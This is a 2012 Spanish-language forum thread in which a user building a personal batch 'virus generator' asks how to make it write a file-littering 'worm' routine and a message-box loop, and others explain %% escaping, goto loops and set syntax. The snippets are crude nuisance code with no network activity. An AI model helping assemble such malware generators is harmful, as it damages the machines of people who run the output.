[Ayuda]Creador de virus

Iniciado por TMarmol, 13 Mayo 2012, 23:19 PM

0 Miembros y 2 Visitantes están viendo este tema.

TMarmol

Bueno estoy creando un generador de virus, se que hay muchos pero quiero tener el mio personalizado.

En una de las funciones que tienes es añadir el codigo para crear un gusano (o algo parecido) el problema es que no consigo hacer que escriba las variables %inicio%, %fin% y %random%:
Código (dos) [Seleccionar]
:gusano
cls
echo ^:bucle >>%nombre%.bat
echo set /inicio=0 >>%nombre%.bat
echo set /fin=1 >>%nombre%.bat
echo echo HACK^>C:\%random%.exe >>%nombre%.bat

echo set /a inicio==%inicio%+%fin% >>%nombre%.bat
echo if %inicio%==100000 (goto bucle) else (goto seguir) >>%nombre%.bat
echo :seguir >>%nombre%.bat
pause

Todo funciona bien, pero las variables no las escribe en el programa %nombre%.bat.
se queda asi el codigo:
Código (dos) [Seleccionar]
:gusano
cls
echo ^:bucle >>%nombre%.bat
echo set /inicio=0 >>%nombre%.bat
echo set /fin=1 >>%nombre%.bat
echo echo HACK^>C:\%random%.exe >>%nombre%.bat

echo set /a inicio==+ >>%nombre%.bat
echo if %inicio%==100000 (goto bucle) else (goto seguir) >>%nombre%.bat
echo :seguir >>%nombre%.bat
pause


Como puedo solucionarlo?, ademas tampoco consigo escribir la variable %0 en otra parte del programa

Porcierto como puedo poner un spoiler de esos que estan ocultos y dando a mostrar sale todo lo que tenga escrito (Me refiero en el foro no en el programa, por si acaso...)

Otra cosa, por que a mi no se me ven los colores en lo de (code)(/code) ?

BatchianoISpyxolo

Puedes parsear el carácter de % con otro símbolo de %.

Código (dos) [Seleccionar]

(
@echo echo %%0
@echo %%random%%
) >> temp


Para "colorear", [ code = dos ] [ / code ] (sin espacios).
Puede que desees aprender a programar desde 0: www.espascal.es

TMarmol

Cita de: Batchiano en 13 Mayo 2012, 23:49 PM
Puedes parsear el carácter de % con otro símbolo de %.

Código (dos) [Seleccionar]

(
@echo echo %%0
@echo %%random%%
) >> temp


Para "colorear", [ code = dos ] [ / code ] (sin espacios).

Eres Genial! las dos cosas funcionaron, muchisimas gracias.

Pero lo de el spoiler, no se puede no?

BatchianoISpyxolo

#3
No. Creo que no han implementado el uso de la etiqueta spoiler en este foro.
Puede que desees aprender a programar desde 0: www.espascal.es

TMarmol

Cita de: Batchiano en 14 Mayo 2012, 00:06 AM
No. Creo que no han implementado el uso de la etiqueta spoiler en este foro.
Pues que pena, por cierto como puedo ahcer un bucle de esos que se repiten hasta que llegan a un numero de veces, lo he probado con esto
Código (dos) [Seleccionar]
set inicio1=0
set fin1=1
echo MsgBox "MADAFACKA" >>alerta.vbs
call alerta.vbs
set /a inicio1==%inicio1%+%fin1%
if %inicio1%==10 (goto seguir1) else (goto bucle1)


pero se repite infinitamente, incluso cambiando el orden de
Código (dos) [Seleccionar]
if %inicio1%==10 (goto seguir1) else (goto bucle1)

BatchianoISpyxolo

#5
Si no hace lo que deseas es porque algo está mal xD.

A ver, un bucle utilizando etiquetas y goto...

Bucle de infinitos ciclos donde se repiten las [acciones]
Código (dos) [Seleccionar]

:etiqueta
[acciones]
goto :etiqueta


Un bucle controlado se puede realizar con una etiqueta, una condición y la instrucción goto o call. Ejemplo de mostrar los 10 primeros naturales.

Código (dos) [Seleccionar]

@echo off
set /a k=0
:contar
echo %k%
if %k% LSS 10 (set /a k+=1&goto contar)
pause>nul


También tienes el comando for para realizar ciclos.

Supongo que tu problema acaece en que no modificas el valor de la variable de control del bucle, por eso se hace infinito.

¡Saludos!
Puede que desees aprender a programar desde 0: www.espascal.es

Eleкtro

Cita de: TMarmol en 13 Mayo 2012, 23:19 PM
no consigo hacer que escriba las variables %inicio%, %fin% y %random%:
Código (dos) [Seleccionar]

echo set /inicio=0 >>%nombre%.bat
echo set /fin=1 >>%nombre%.bat
echo echo HACK^>C:\%random%.exe >>%nombre%.bat

¿Porque no te has parado a probar el comando directamente en la consola?...

CitarC:\>set /inicio=0
La sintaxis del comando no es correcta.

No puedes definir una variable que empiece por números, ni por el caracter "/", Ya que se usa para los parámetros de set...
Cita de: CMDSET /A expression
SET /P variable=[promptString]

Y con esto, Creo que ya te lo hemos solucionado todo.

Salu2!